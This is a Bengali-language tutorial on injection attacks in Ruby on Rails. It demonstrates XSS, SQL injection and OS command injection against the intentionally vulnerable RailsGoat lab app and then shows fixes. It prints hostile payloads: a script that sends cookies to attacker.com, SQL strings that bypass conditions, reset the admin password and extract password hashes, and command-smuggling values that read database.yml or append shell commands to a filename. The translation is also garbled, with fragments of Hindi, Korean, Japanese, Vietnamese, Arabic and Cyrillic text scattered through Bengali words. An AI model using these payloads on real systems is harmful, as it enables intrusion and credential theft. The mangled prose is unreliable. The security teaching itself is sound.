কম্পিউটার টিউটোরিয়াল

আপনার রেইলস অ্যাপস রক্ষা করুন: ইনজেকশন আক্রমণ বুঝা এবং প্রতিরোধ

আপনি যদি ইউজার ডেটা নিয়ে কাজ করেন, তবে আপনাকে নিশ্চিত করতে হবে সেটা সিকিউর। কিন্তু আপনি যদি সিকিউরিটিতে নতুন হন, তবে এটা ট্রিকি, বোরিং, এবং জটিল মনে হতে পারে।

এই আর্টিকেল একটি সিরিজের প্রথম পোস্ট যেটি আপনাকে সাধারণ সিকিউরিটি ভালনারেবিলিটি (vulnerabilities) টাইপ এবং রেইলস ডেভেলপমেন্টে তাদের প্রভাব সম্পর্কে শিখাবে। আমরা OWASP Top 10 Web Application Security Risks কে আমাদের ম্যাপ হিসেবে ব্যবহার করব এই টেরেনে নেভিগেট করার জন্য।

OWASP বলতে Open Web Application Security Project-কে বোঝায়। এটি এক্সপার্টদের একটি গ্রুপ যারা ওয়েবে ক্রিটিক্যাল সিকিউরিটি ইস্যু সম্পর্কে বিশ্বকে শিক্ষিত করার জন্য কাজ করে। তাদের Top 10 লিস্ট ওয়েব অ্যাপ্লিকেশনে সবচেয়ে कॉमन ভালনারেবিলিটি এনুমারেট করে:

  1. ইনজেকশন (Injection)
  2. ব্রোকেন অথেন্টিকেশন (Broken authentication)
  3. সেনসিটিভ ডেটা এক্সপোজার (Sensitive data exposure)
  4. XML এক্সটার্নাল এনটিটি (XXE)
  5. ব্রোকেন এক্সেস কন্ট্রোল (Broken access control)
  6. সিকিউরিটি মিসকনফিগারেশন (Security misconfigurations)
  7. ক্রস-সাইট স্ক্রিপ্টিং (XSS)
  8. ইনসিকিউর ডিসিরিয়ালাইজেশন (Insecure deserialization)
  9. নwon vulnerabilities-সহ কম্পোনেন্ট ব্যবহার (Using components with known vulnerabilities)
  10. অপর্যাপ্ত লগিং এবং মনিটরিং (Insufficient logging and monitoring)

যদিও সেগুলো নিয়মিত আপডেট করেন, আপনার মনে হয়তো চেয়ে কম পরিবর্তন হয়। নতুন টেকনোলজি পুরনো সমস্যা উত্তরাধিকার সূত্রে পায়। এই পীসে, স্পেসিফিক্যালি, আমরা ইনজেকশন-রিলেটেড তিনটি টপিক কভার করব:

  • জাভাস্ক্রিপ্ট ইনজেকশন (JavaScript Injection) - যখন অ্যাপ্লিকেশন ক্লায়েন্ট থেকে ম্যালিশিয়াস ডেটা গ্রহণ করে, সেটা ভ্যালিডেট/স্যানিটাইজ করে না, এবং ব্রাউজারে ফেরত পাঠায়।
  • SQL ইনজেকশন (SQL Injection) - যখন SQL-এর টুকরো উদ্দেশ্যপূর্ণভাবে ডেটাবেস কোয়েরির অংশ হিসেবে পাঠানো হয় একটি অনসেফ SQL ইন্টারপ্রেটারের কাছে, যাতে ইন্টারপ্রেটারকে ধোকা দিয়ে ডেঞ্জারাস কমান্ড রান করানো যায় বা সেনসিটিভ ইনফরমেশন এক্সেস করা যায়।
  • OS ইনজেকশন (OS Injection) - যখন আক্রমণকারী সিস্টেম কমান্ড রান করার লক্ষ্যে অনপ্রোটেক্টেড অ্যাপ্লিকেশনে আক্রমণ করে যা সিস্টেম কমান্ড থেকে ইনপুট ডেটা নেয়।

আমরা থিওরি থেকে প্র্যাকটিক্যালে যাবো প্রতিটি কীভাবে কাজ করে সেটা সম্পূর্ণরূপে ডেমো করব। তো, চলুন ডুব মেরি!

ইনজেকশন ধমকি (Injection Threats)

আপনি আপনার অ্যাপ্লিকেশনে ডেটার একটি সোর্স ম্যানেজ করলে, তাহলে আপনার অ্যাপ্লিকেশনের ভিতরে একটি সম্ভাব্য ইনজেকশন ভেক্টর (injection vector) আছে। আপনার অ্যাপ হ্যাক করার ক্রিয়েটিভ এবং ইনোভেটিভ উপায়ে হ্যাকাররা নতুন নতুন জিনিস উদ্ভাবন করে যা আপনাকে বিস্মিত করবে।

ইনজেকশন আক্রমণের বিশ্বে আসি। আপনি যদি মনে করেন আপনার অ্যাপ স্যানিটাইজড এবং প্রোটেক্টেড, আবার ভাবুন।

জাভাস্ক্রিপ্ট ইনজেকশন (JavaScript Injections)

জাভাস্ক্রিপ্ট ইনজেকশন, যাকে সাধারণত ক্রস-সাইট স্ক্রিপ্টিং (XSS) বলা হয়, সেটা ব্যাকএন্ড অ্যাপ্লিকেশনকে (যে ক্লায়েন্ট বিশ্বাস করে) ফাঁসি দিয়ে ম্যালিশিয়াস ডেটা এবং/অথবা স্ক্রিপ্ট ব্রাউজারে ফেরত পাঠানোর বিষয়।

যখন এটা হয়, আক্রমণকারী ইউজারের ব্রাউজারে স্ক্রিপ্ট রান করে এর সেশন চুরি করতে পারে, অ্যাপ্লিকেশনর "নামে" সেনসিটিভ ইনফরমেশন চাইতে পারে, বা ইউজারকে ডেঞ্জারাস ওয়েবসাইটে রিডাইরেক্ট করতে পারে।

বিখ্যাত ব্লগ কমেন্ট সেকশন কে উদাহরণ হিসেবে নেই। কল্পনা করুন আপনার অ্যাপ্লিকেশন সম্পূর্ণ ভালনারেবল এবং আপনার ব্লগে একটি নতুন কমেন্টের জন্য POST রিসিভ করে, এবং ভ্যালুটি ডিরেক্টলি ডেটাবেসে চলে যায় কোনো স্যানিটাইজেশন ছাড়া:

POST https://myblog.com/comments data: <script>window.location='https://attacker.com?cookie='+document.cookie</script> 

যখন আপনার ওয়েবসাইট কমেন্ট সেকশন রিলোড করবে, সেটা নতুন কমেন্ট ফেচ করবে, যেটা ব্রাউজারে দেওয়া স্ক্রিপ্ট এক্সিকিউট করবে।

স্ক্রিপ্টটি, যা অ্যাপ্লিকেশন পেজের ভিতরে চলে (পুরোপুরি এক্সেসযোগ্য), ইউজারের কুকি ইনফরমেশন নেয় এবং সরাসরি আক্রমণকারীর সাইটে পাঠিয়ে দেয়।

SQL ইনজেকশন (SQL Injections)

SQL ইনজেকশন হয় যখন একটি অ্যাপ্লিকেশন যা SQL ডেটাবেসের সাথে ডील করে সিকিউরলি ইউজার ইনপুট স্যানিটাইজ করে না যখনই এই ইনপুট কনক্যাটেনেট (concatenate) বা ইন্টারপোলেট (interpolate) করা হয় আপনার যেকোনো কোয়েরির সাথে।

রেইলস ওয়ার্ল্ডে SQL ইনজেকশন নিয়ে দুটি মূল হুমকি আছে जिनके बारेে আপনি জেনে থাকতে পারেন: ইনজেকশন কনক্যাটেনেশন (injection concatenation) এবং ইন্টারপোলেশন (interpolation)। পার্থক্যগুলো দেখি।

SQL ইনজেকশন কনক্যাটেনেশন সবচেয়ে বিখ্যাত; এটা হয় যখন আক্রমণকারী ডেঞ্জারাস SQL-এর টুকরো HTTP কোয়েরি প্যারামস বা রিকোয়েস্ট বডি হিসেবে পাঠায়। এটা একটি ট্রিক যা অধিকাংশ ডেটাবেসের সাথে কাজ করে যদি আপনার অ্যাপ্লিকেশন লেয়ারগুলো এই টাইপের কন্টেন্ট আইডেন্টিফাই এবং স্যানিটাইজ করতে না পারে।

উদাহরণ হিসেবে, কল্পনা করুন আপনি একজন ইউজার কোয়েরি করছেন তার ইউজারনেম দিয়ে সেনসিটিভ ইনফরমেশন রিট্রিভ করতে:

User.where("name = '#{userName}'") 

userName নন-স্যানিটাইজড ইউজার ইনপুট বিবেচনা করলে, একটি আক্রমণকারী প্যারামের ভ্যালু পরিবর্তন করতে পারে

' OR '1'='1' -- 

ফলস্বরূপ, আপনার কোয়েরি এটার মতো রূপান্তরিত হবে:

SELECT * FROM users WHERE username = '' OR '1'='1'; 

যেহেতু যোগ করা শর্তটি সবসময় true সমান, এই কোয়েরি সবসময় এক্সিকিউট হবে, আপনার ইউজারদের সैंकڑো সেনসিটিভ ডেটা এক্সপোজ করিয়ে।

SQL ইন্টারপোলেশনও ইনজেকশনে লিড করতে পারে। কীভাবে? আপনি কি রেইলস অ্যাক্টিভরেকর্ডের স্কোপিং ফিচার (scoping feature) মনে করছেন? এটা আমাদের সপারশিউ কোয়েরি নির্দিষ্ট করতে দেয় যেগুলো আপনি অনেক ব্যবহার করেন মেথড কল হিসেবে (যেমন where, joins, এবং includes) অ্যাসোসিয়েশন অবজেক্ট বা মডেলগুলোর ওপর। এই উদাহরণটি নিন:

class User < ApplicationRecord scope :filtered_name, -> { where(name: interpolated_string) } end 

আপনি বাকি গেস করেছেন। যদি একটি where ক্লজ থাকে যাতে ডেভেলপার নন-স্যানিটাইজড ইনপুট ভ্যালু কনক্যাটেনেট করতে পারে, তবে সেটা লিড করবে, খুব অনুরূপ, আগের উদাহরণের মতো SQL ইনজেকশনে।

OS ইনজেকশন (OS Injections)

OS ইনজেকশন হয় যখন একটি অ্যাপ্লিকেশন ইউজারকে সিস্টেম-লেভেল কমান্ড ইনপুট করার দেয় এবং সেগুলো ফিল্টার করে না।

ফলাফল খুব ডেঞ্জারাস হতে পারে কারণ আক্রমণকারী একটি ফ্রি টানেল পাবে OS-এ যেখানে অ্যাপ্লিকেশন চলছে। OS বেস সিকিউরিটি লেয়ার কীভাবে সেট আপ আছে সেটার উপর নির্ভর করে, এটা অন্য অ্যাপ্লিকেশন chạy থাকা সেখানে থেকে ডেটা এবং ফাইল এক্সপোজ করতে পারে।

রেইলস কোডবেসে যখনই আপনি নিচের কোড লাইনগুলো দেখেন, সচেতন থাকুন OS ইনজেকশন সেখানে হতে পারে:

%x[...] system() exec() `my command` // the backticks 

নিচের রেইলস ইমপ্লিমেন্টেশন বিবেচনা করুন:

new_path = "/root/public/images/#{some_path}" system("ls #{new_path}") 

যেহেতু some_path ক্লায়েন্ট থেকে আসছে, একটি আক্রমণকারী ভ্যালু নিচের মতো পাঠাতে পারে:

some_path = 'some/path; cat ./config/database.yml' 

আপনি বুঝ गये, ঠিক? সকল ডেটাবেস ডেটা, যাতে ক্রেডেনশিয়ালসও (যদি সেগুলো সফলি ক্লাউড কনফিগে স্টোর না থাকে), আক্রমণকারীর কাছে এক্সপোজ হবে।

The RailsGoat Project

সময় বাঁচাতে এবং স্ক্র্যাচ থেকে vulnérable উদাহরণ বানাতে না গিয়ে, সৌভাগ্যে, আমাদের কাছে RailsGoat প্রজেক্ট আছে। এটা OWASP অফিসিয়াল GitHub রিপোজিটরি দ্বারা প্রদত্ত হাজার হাজার ওপেন-সোর্স প্রজেক্টের (৭৫৪ প্রজেক্ট) মধ্যে একটি, যা রেইলসের জন্য তৈরি, টপ ১০ ভালনারেবিলিটির অধিকাংশ উদ্দেশ্যপূর্ণভাবে প্রোগ্রাম করা হয়েছে ডেভেলপারদের সিকিউরিটি হুমকি শিক্ষা দেওয়ার জন্য।

এই সিরিজে, আমরা প্রজেক্টের স্যাম্পল ব্যবহার করব রিস্ক গভীরে এক্সপ্লোর করতে এবং, আরও ভালো, একশনে!

সেটআপ (Setup)

আগে যাওয়ার আগে, এই প্রজেক্টের কিছু রিকোয়ার্ড ডিপেন্ডেন্সি আছে: Ruby, Git, MySQL, এবং Postgres। নিশ্চিত করুন সেগুলো আপনার মেশিনে ইনস্টলড আছে আগে যাওয়ার আগে।

প্রজেক্ট সেটআপ করতে, প্রথমে লোকালি ক্লোন করুন:

git clone https://github.com/OWASP/railsgoat.git 

ডিফল্টলি Ruby 2.6.5 টার্গেটেড, তাই সঠিক ভার্সন ইনস্টল করুন যদি ইতিমধ্যে নেই:

rvm install "ruby-2.6.5" 

পরবর্তী, অ্যাপ রুট ফোল্ডারে নিচের কমান্ডগুলো ইস্যু করুন:

bundle install rails db:setup rails s 

সেগুলো রেইলস প্রজেক্ট ডিপেন্ডেন্সি ডাউনলোড ও ইনস্টল করবে, ডেটাবেস সেটআপ করবে, এবং রেইলস সার্ভার শুরু করবে, যথাক্রমে।

কয়েকটি অ্যাডজাস্টমেন্ট (A Few Adjustments)

আপনার OS-র উপর নির্ভর করে, এবং কারণ RailsGoat একটু পুরনো (লেটেস্ট রিলিজ Mar 2018), install কমান্ড কিছু এরর জেনারেট করতে পারে। আপনি যদি Mac-এ হন, উদাহরণস্বরূপ, এবং কনসোলে নিচের এরর ফেস করেন:

আপনার রেইলস অ্যাপস রক্ষা করুন: ইনজেকশন আক্রমণ বুঝা এবং প্রতিরোধ libv8 সম্পর্কে কনসোল এরর

তবে, সহজে রিকোয়ার্ড জেম ইনস্টল করুন:

gem install libv8 -v '3.16.14.19' -- --with-system-v8 

একটি আরো যা ব্লেম করবে সেটা therubyracer জেম একটি বাগের কারণে এই রুবি ভার্সনের libv8-এর সাথে। নিশ্চিত করুন নিচের কমান্ডগুলো রান করুন:

brew install v8-315 gem install therubyracer -v '0.12.3' -- --with-v8-dir=/usr/local/opt/v8@3.15 

ডিফল্টলি, বর্তমান সেটিংস SQLite কে ডিফল্ট ডেটাবেস হিসেবে বিবেচনা করে। পরবর্তী উদাহরণগুলোর জন্য, তবে, আমাদের একটি রিয়েল ডেটাবেস লাগবে। আমরা MySQL ব্যবহার করব।

প্রথমে, config/database.yml ফাইলটি খুলুন, mysql নোড লোকেট করুন, এবং আপনার MySQL ক্রেডেনশিয়াল অনুযায়ী কনফিগ পরিবর্তন করুন। ডেটাবেস নাম আপনি যেভাবেই রাখতে পারেন।

রেইলস সার্ভার বন্ধ করুন, এবং নিশ্চিত করুন MySQL আপ এবং রানিং আছে; তারপর নিচের কমান্ডগুলো রান করুন:

#Create the MySQL database RAILS_ENV=mysql rails db:create #Run the migrations against the database RAILS_ENV=mysql rails db:migrate #Seeds the database with initial records RAILS_ENV=mysql rails db:seed #Boot Rails using MySQl RAILS_ENV=mysql rails s 

বিকল্পভাবে, আপনি Docker দিয়ে RailsGoat 스타ার্ট করতে পারেন। আপনার ইচ্ছা!

বাস! এখন, আপনি ব্রাউজার খুলুন এবং RailsGoat অ্যাপে লগ ইন করুন। আপনি টপবারের বাটন "Tutorial Credentials"-এ অটো-জেনারেটেড ক্রেডেনশিয়াল পাবেন। একটা বেছে নিন, কিন্তু নিশ্চিত করুন সেটা অ্যাডমিন ইউজার নয়।

আপনার রেইলস অ্যাপস রক্ষা করুন: ইনজেকশন আক্রমণ বুঝা এবং প্রতিরোধ MetaCorp রেইলস অ্যাপ্লিকেশন

HTTP প্রক্সি সেটআপ (HTTP Proxy Setup)

হ্যাকাররা スタッフ করে কাজ করে, মূলত HTTP রিকোয়েস্ট এবং রেসপন্সে। সেগুলো HTTP প্রক্সি অ্যাপ্লিকেশন ব্যবহার করে যা ব্রাউজার এবং সার্ভারের মাঝপথে রান করে ইন্টারসেপ্ট (intercept), ভিজ্যুয়ালাইজ (visualize), এবং মডিফাই (modify) করার জন্য রিকোয়েস্ট এবং রেসপন্স।

এই সিরিজের জন্য, আমাদেরও একটা এমনই লাগবে, এবং কাজের জন্য পারফেক্ট টুল হলো Burp (Burp Suite)। এটা একটি এন্টারপ্রাইজ পেইড টুল, কিন্তু ফ্রি কমিউনিটি ভার্সন আমাদের উদ্দেশ্যের জন্য পর্যাপ্ততтат। তাই, आगे যান, অফিসিয়াল ইনস্ট্রাকশন ফলো করে ডাউনলোড এবং ইনস্টল করুন।

মনে রাখবেন Burp জাভা দিয়ে বানানো, তাই আপনার Java-ও ইনস্টলড থাকতে হবে।

নিশ্চিত করুন এই ইনস্ট্রাকশন ফলো করে সেটা সঠিকভাবে কাজ করছে। একবার টুল ওপেন হলে, Proxy > Intercept ট্যাবে যান, "Intercept is on" বাটন টগল করুন এবং তারপর "Open Browser" ক্লিক করুন। এটা একটি গুগল ক্রোমিয়াম (Chromium) ওপেন করবে সরাসরি Burp-এ কানেক্টেড, যা আমাদের রিকোয়েস্ট/রেসপন্স স্নিফ (sniff) করতে দেবে।

এখানে কিছু টাইপ করুন এবং দেখুন Burp কীভাবে ট্র্যাক করে।

একশনে হুমকি (Threats in Action)

এখন দেখি আগে আলোচনা করা প্রতিটি হুমকি বাস্তব সিন্যারিওতে কীভাবে ঘটে। আমরা জাভাস্ক্রিপ্ট ইনজেকশন থেকে শুরু করব।

জাভাস্ক্রিপ্ট ইনজেকশন একশনে (JavaScript Injections in Action)

RailsGoat অ্যাপে, _header.html.erb ফাইলটি খুলুন যেটা views/layouts/shared ফোল্ডারে অবস্থিত। আপনি নিচের HTML স্নিপেট পেতে পারেন:

<li style="color: #FFFFFF">Welcome, <%= current_user.first_name.html_safe %></li> 

দেখতে পাচ্ছি, এই রেইলস মেথড একটি সেফ নাম কল করে, যা আসলে সেফ নয়। এটা বলে স্ট্রিংটি সেফ হিসেবে ট্রাস্টেড কিনা কিন্তু ইউজার ইনপুট স্যানিটাইজ করে না।

নিশ্চিত করুন Burp রান করছে না, এবং তারপর রেজিস্ট্রেশন পেজে যান এবং "First Name" ফিল্ডে নিচেরটি টাইপ করুন:

<script>alert("hello, XSS!")</script> 

রেজিস্ট্রেশন ফিনিশ করুন এবং নতুন তৈরি ইউজার দিয়ে লগ ইন করুন। আপনি ন্যাভিগেশন বারে দেখতে পাবেন "Welcome " + the script code।

এই সমস্যা কীভাবে সমাধান করবেন (How to Solve This)

এটা একটি সাধারণ ভুল ধারণা। ডেভেলপাররা সাধারণত এই মেথড ব্যবহার করেন, কিন্তু এটা ডেটা সিকিউর করে না। বদলে, আপনাকে অবশ্যই sanitize ব্যবহার করতে হবে যখনই আপনাকে HTML এক্সপ্লিসিটলি রেন্ডার করতে হবে।

উদাহরণে, শুধু .html_safe রিমুভ করুন, এবং আক্রমণটি এলিমিনেট হয়ে যাবে।

একটি ভালো টিপ হবে SonarQube-এর মতো টুল আপনার প্রজেক্টে ইনকর্পোরেট করা। এই টুলস সাধারণ হুমকি যেন উপরের চিহ্নিত করে এবং ডেভেলপারকে হুমকি এবং কীভাবে ফিক্স করতে হয় সেটা আলার্ট করে।

শুধু ডেভেলপারের মেমориর উপর নির্ভর করা ভালো আইডিয়া নয়।

SQL ইনজেকশন: একটি কনক্যাটেনেশন উদাহরণ

আমাদের RailsGoat SQL ইনজেকশন উদাহরণ users_controller.rb-এ অবস্থিত, app/controllers ফোল্ডারের ভিতরে। এটা খুলুন এবং এর কন্টেন্ট রিভিউ করুন।

আপনি ডেটাবেসে ইউজার ডেটা তৈরি এবং আপডেট করার দুটি মূল মেথড দেখতে পাবেন। আপনি কি আমাদের update মেথডে কিছু ভুল ডিটেক্ট করতে পারেন? চেষ্টা করুন!

এটা रहा:

user = User.where("id = '#{params[:user][:id]}'")[0] 

আপনি জানেন যে where ক্লজে কনক্যাটেনেট করা উচিত নয়। 하지만, ফিক্স করার আগে হ্যাকিং পসিবিলিটিগুলো টেস্ট করি।

Burp Chromium ব্রাউজারে রানিং অ্যাপে ফিরে যান এবং Account Settings মেনুতে নেভিগেট করুন:

আপনার রেইলস অ্যাপস রক্ষা করুন: ইনজেকশন আক্রমণ বুঝা এবং প্রতিরোধ

অ্যাকাউন্ট সেটিংস এক্সেস করা

একবার সেখানে যান, Burp টুল খুলুন এবং নিশ্চিত করুন "Intercept is on" বাটন টগলড আছে। তারপর পাসওয়ার্ড ফিল্ডগুলো কিছু ভ্যালু দিয়ে ফিল আপ করুন এবং Submit ক্লিক করুন।

Burp রিকোয়েস্ট ইন্টারসেপ্ট করবে, এবং Params ট্যাবে, আপনি নিচের সימিলার কিছু দেখতে পাবেন।

আপনার রেইলস অ্যাপস রক্ষা করুন: ইনজেকশন আক্রমণ বুঝা এবং প্রতিরোধ Burp Suite Tool - Params Tab

হ্যাঁ, আপনার সব রিকোয়েস্ট প্যারামস এখানে ভিজিবল। সেগুলো শুধু ভিজিবল নয়, এডিটেবলও। Burp আপনার রিকোয়েস্ট হোল্ড করে রাখবে যতক্ষণ না আপনি এডিট ফিনিশ করবেন এবং তারপর সার্ভারে রিলিজ করবে।

আপনি রেসপন্সের জন্যও একই কাজ করতে পারেন।

বাড়িয়ে, চলুন অ্যাপ্লিকেশনকে ফাঁসি দিই। আমাদের লক্ষ্য হলো অ্যাডমিন ইউজারের পাসওয়ার্ড আপডেট করা বর্তমান লগ্ড-ইন ইউজারের বদলে।

প্রথমে, আপনাকে ইউজারের email, first_name, এবং last_name প্যারামস রিমুভ করতে হবে কারণ আমরা অ্যাডমিন ইউজারের জন্য এই মানগুলো পরিবর্তন করতে চাই না।

দ্বিতীয়, আপনি user[id] প্যারাম ভ্যালু এডিট করতে পারেন নিচের মতো:

0') OR admin = true -- ' 

এখানে কী হচ্ছে? উপরে দেখানো ভ্যালু 6 বর্তমান লগ্ড ইউজার আইডি রেফার করে। কিন্তু আমরা এই ইউজার সংক্রান্ত কিছু পরিবর্তন করতে চাই না, শুধু অ্যাডমিনের। শূন্য (zero) কাউকেও রেফার করে না, যেটা ভালো কারণ OR-এর পরের শর্তটিই আমাদের জন্য গুরুত্বপূর্ণ।

যেহেতু আমরা অ্যাডমিনের আইডি জানি না (খুবি, জানলে সময় বাঁচত), আমাদের ডেটাবেসকে ফাঁসি দিতে হবে সেটা admin রোল কলামের মাধ্যমে সিলেক্ট করার জন্য।

এডিট ফিনিশ করার পর, Forward বাটন ক্লিক করুন যাতে রিকোয়েস্ট রিলিজ হয়, এবং অ্যাডমিনের পাসওয়ার্ড আপডেট হয়।

এটা হলো রেইলস জেনারেট করা SQL:

SELECT `users`.* FROM `users` WHERE (id = '0') OR admin = true -- '') 

এখন, আপনার নতুন পাসওয়ার্ড দিয়ে অ্যাডমিন একাউন্টে লগ ইন করুন।

এটি কীভাবে সমাধান করবেন (How To Solve This)

এই সমস্যাটি সমাধান করার কিছু সিকিউর উপায় আছে। আপনি সবসময় ইউজারকে ডেটাবেস থেকে রিট্রিভ করতে পারেন আপডেট করার আগে, ক্লায়েন্ট রিকোয়েস্ট থেকে কী আসছে সেটা নির্বিশেষে।

তবে, এটা ডেভেলপারের কোডিং স্টাইল এর উপর নির্ভর করে, যা সবসময় গ্যারান্টид নয়।

তাই, প্যারামিটারাইজড ডেটাবেস কোয়েরি (parameterized database queries) রক্ষা করব! দেখুন:

user = User.where("id = ?", params[:user][:id])[0] 

এটা ততটুকু সহজ! আর হ্যাকিং নেই।

SQL ইনজেকশন: একটি ইন্টারপোলেশন উদাহরণ

RailsGoat-এ, প্রতিটি রিকোয়েস্ট ডেটাবেসে স্টোর হয় একটি অডিটিং ফিচার হিসেবে। এই উদাহরণের জন্য, আসুন analytics.rb ক্লাস বিশ্লেষণ করি, যেটা hits_by_ip নামক একটি স্কোপ স্টোর করে। এটা একটি অ্যাডমিন ফিচার যা ডেটাবেস থেকে রিকোয়েস্ট ডেটা লিস্ট করে।

দেখুন এই মডেল কীভাবে স্ট্রিং ইন্টারপোলেট করে তার স্কোপে:

scope :hits_by_ip, ->(ip, col = "*") { select("#{col}").where(ip_address: ip).order("id DESC") } 

তবে, এই পদ্ধতি ডেঞ্জারাস! দেখি কেন। যেহেতু আপনি একটি অর্ডিনারি ইউজার হিসেবে লগ্ড-ইন, কিছু মেনু দেখাবে না, لكن এটা মানে না তাদের এন্ডপয়েন্টগুলো অ্যাক্সেসযোগ্য বা অপ্রোটেক্টেড নয়। তাই, आगे যান এবং https://localhost:3000/admin/1/analytics এড্রেস এক্সেস করুন।

যেহেতু আমরা লোকালহোস্ট লেভেলে কাজ করছি, আপনি শুধু 127.0.0.1 IP-এ ডেটা পাবেন। কিন্তু প্রোডাকশনে, আপনি আপনার ক্লায়েন্ট IP সার্চ করবেন।

তো, "Search by IP" টেক্সটবক্সে 127.0.0.1 টাইপ করুন এবং এন্টার চাপুন। Burp টুলের ইন্টারসেপ্ট বাটন অন করা মনে রাখবেন।

Params ট্যাবে যাওয়ার পর, আপনি Add বাটন ক্লিক করতে পারেন একটি নতুন প্যারাম URL টাইপ হিসেবে যোগ করতে এবং সেটার নিচের নাম দিতে:

field[(select+group_concat(password)+from+users+where+admin=true)] 

যেহেতু স্কোপ একটি ইন্টারপোলেটেড স্ট্রিং রিসিভ করে, আপনি সিম্পলি সিলেক্ট কোয়েরিতে যতক্ষণ ইচ্ছা রুল যোগ করতে পারেন। এই কোয়েরি, স্পেসিফিক্যালি, এটার মতো রূপান্তরিত হবে:

SELECT (select group_concat(password) from users where admin = true) FROM analytics WHERE ip_address = "127.0.0.1" ORDER BY id DESC; 

এর মানে আমরা অ্যাডমিনের হ্যাশড পাসওয়ার্ড ডেটাবেস থেকে রিট্রিভ করছি এবং সরাসরি আমাদের ভিউতে এক্সহিবিট করছি:

আপনার রেইলস অ্যাপস রক্ষা করুন: ইনজেকশন আক্রমণ বুঝা এবং প্রতিরোধ অ্যাডমিনের হ্যাশড পাসওয়ার্ড কোয়েরি করা

এটি কীভাবে সমাধান করবেন? (How To Solve This?)

প্রথমে, নিশ্চিত করুন আপনার ইউজাররা শুধু সেটা অ্যাক্সেস করবেন যা তাদের অ্যাক্সেস করা উচিত। যেসব এন্ডপয়েন্ট অ্যাক্সেসযোগ্য বা অপ্রোটেক্টেড থাকা উচিত নয়।

এক আরো প্রিভেন্টিভ পদ্ধতি হিসেবে, আপনি যেসব ভ্যালু এক্সেপ্ট করা উচিত সেগুলো হোয়াইটলিস্ট (whitelist) করতে পারেন এবং যেসব এক্সেপ্ট করা উচিত নয় সেগুলো রেস্ট্রিক্ট করতে পারেন। একই মডেল ক্লাসের ভিতরে parse_field মেথডটি দেখুন। এটা ভেরিফাই করে দেওয়া ফিল্ড হোয়াইটলিস্ট অ্যারেতে ইনক্লুডেড কিনা।

তো, মডেলের স্কোপ কল করার আগে, আপনি প্যারামসের ওপর ইটারেট করতে পারেন এবং চেক করতে পারেন সেগুলো ফাইন কিনা। চলুন admin_controller.rb-এর লাইন ১৮ আপডেট করি (যে স্কোপ কল করে):

fields = params[:field].map {|k,v| Analytics.parse_field(k) }.join(",") 

OS ইনজেকশন একশনে (OS Injections in Action)

RailsGoat-এ OS ইনজেকশনের একটি উদাহরণ এক্সপ্লোর করি। app/models ফোল্ডারের আন্ডারে benefits.rb মডেল খুলুন এবং এর make_backup মেথড চেক করুন।

এই মেথড একটি ফাইলের ব্যাকআপ কপি তৈরি করে যেটা "Benefit Forms" সেকশন মাধ্যমে আপলোড হচ্ছে। এখানে কোনো সমস্যা নেই মনে হয়, বাদে যে মেথডটি একটি system কমান্ড ব্যবহার করে:

silence_streams(STDERR) { system("cp #{full_file_name} #{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}") } 

প্রথম দৃষ্টিতে এটা ঠিক মনে হয়, কিন্তু আবার দেখুন। আমরা ইউজার ইনপুট থেকে অন্যান্য সিস্টেম কমান্ড পারফেক্টলি অ্যাপেন্ড করতে পারি, এবং সেগুলো ঠিকমতো রান করবে, যেমন একটি ফাইল তৈরি করা।

রুকুন, এটা একটি ফাইল আপলোড ফিচার; আমরা ফাইলের ইনপুট কীভাবে আপডেট করতে পারি? চলুন একশনে দেখি।

RailsGoat অ্যাপে ফিরে যান, "Benefit Forms" মেনু ক্লিক করুন, আপনার পছন্দের একটি ফাইল বেছে নিন, এবং আপনার Burp ইন্টারসেপ্ট বাটন অন করুন। তারপর Start Upload ক্লিক করুন।

যখন রিকোয়েস্ট ইন্টারসেপ্ট হবে, আপনি এর হেডার কন্টেন্ট দেখতে পাবেন, নিচের মতো।

আপনার রেইলস অ্যাপস রক্ষা করুন: ইনজেকশন আক্রমণ বুঝা এবং প্রতিরোধ ফাইল আপলোড ইন্টারসেপ্টেড

ছবিতে, আপনি দুটি হাইলাইটেড প্যারাম দেখতে পাচ্ছেন: benefits[backup] এবং benefits[upload]।

আমাদের প্রথমটির ভ্যালু true এ চেঞ্জ করতে হবে যেহেতু আমরা ব্যাকআপ ফ্লো এক্টিভেট করতে চাই এবং, তাই, যেখানে ভালনারেবিলিটি আছে।

পরবর্তী, আপনার দ্বিতীয় প্যারামের filename প্রোপার্টি নিচের মতো চেঞ্জ করুন:

filename="kid-2.png;+touch+abc.txt" 

তারপর, ইন্টারসেপ্ট বাটন রিলিজ করুন। এটা এক্সিকিউশনের শেষে একটি নতুন কমান্ডে রূপান্তরিত হবে, যা একটি নতুন ফাইল তৈরি করবে abc.txt নামে। সহজ হওয়ার পাশাপাশি, এটা একটি ভালো উদাহরণ যে আপনার ফ্লো কতটুকু ভালনারেবল হতে পারে এবং হ্যাকারদের জন্য কতটুকু পারফেক্ট প্লে গ্রাউন্ড।

OS ইনজেকশন প্রতিরোধ (Protecting against OS injections)

এটা একটু অভ্যাস লাগতে পারে; কেন কেউ কমান্ড সিস্টেম দিয়ে ফাইল কপি করবে? আপনি চকিত হবেন জানলে কতগুলো লিগ্যাসি অ্যাপ্লিকেশন চলছে বাহিরে। उनमें से অনেক বিশাল কোডবেস নিয়ে গঠিত, যা এমন ভালনারেবিলিটি ডিটেক্ট করার কাজকে হেরকুলিয়ান টাস্ক (herculean task) বানাতে পারে।

তাই, হ্যাঁ, অফিসিয়াল ইনার লাইব্রেরি ব্যবহার করুন, যেমন রুবির FileUtils:

FileUtils.cp "#{full_file_name}", "#{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}" 

শেষ বন্দনা (Wrapping Up)

আজ, আমরা ইনজেকশন সিকিউরিটি হুমকির উচ্ছল জলপ্লাবনে নেভিগেট করলাম। যদিও এই পীস ইনজেকশন ইস্যুর সাথে জড়িত সব সমস্যা কভার করে না, এটা OWASP দ্বারা চিহ্নিত সবচেয়ে বিখ্যাতগুলো এক্সপ্লোর করে।

বোনাস হিসেবে, আমি কিছু গুরুত্বপূর্ণ লিংক দিচ্ছি যা আপনার বিষয় সম্পর্কে জ্ঞান বাড়াতে সাহায্য করবে। প্রথমটাই, অবশ্যই, OWASP Top Ten আর্টিকেল; এতে অনেক এক্সটার্নাল লিংক আছে অন্য আর্টিকেলগুলোর যেগুলো উদাহরণ এবং বিভিন্ন সিন্যারিও অন্তর্ভুক্ত করে।

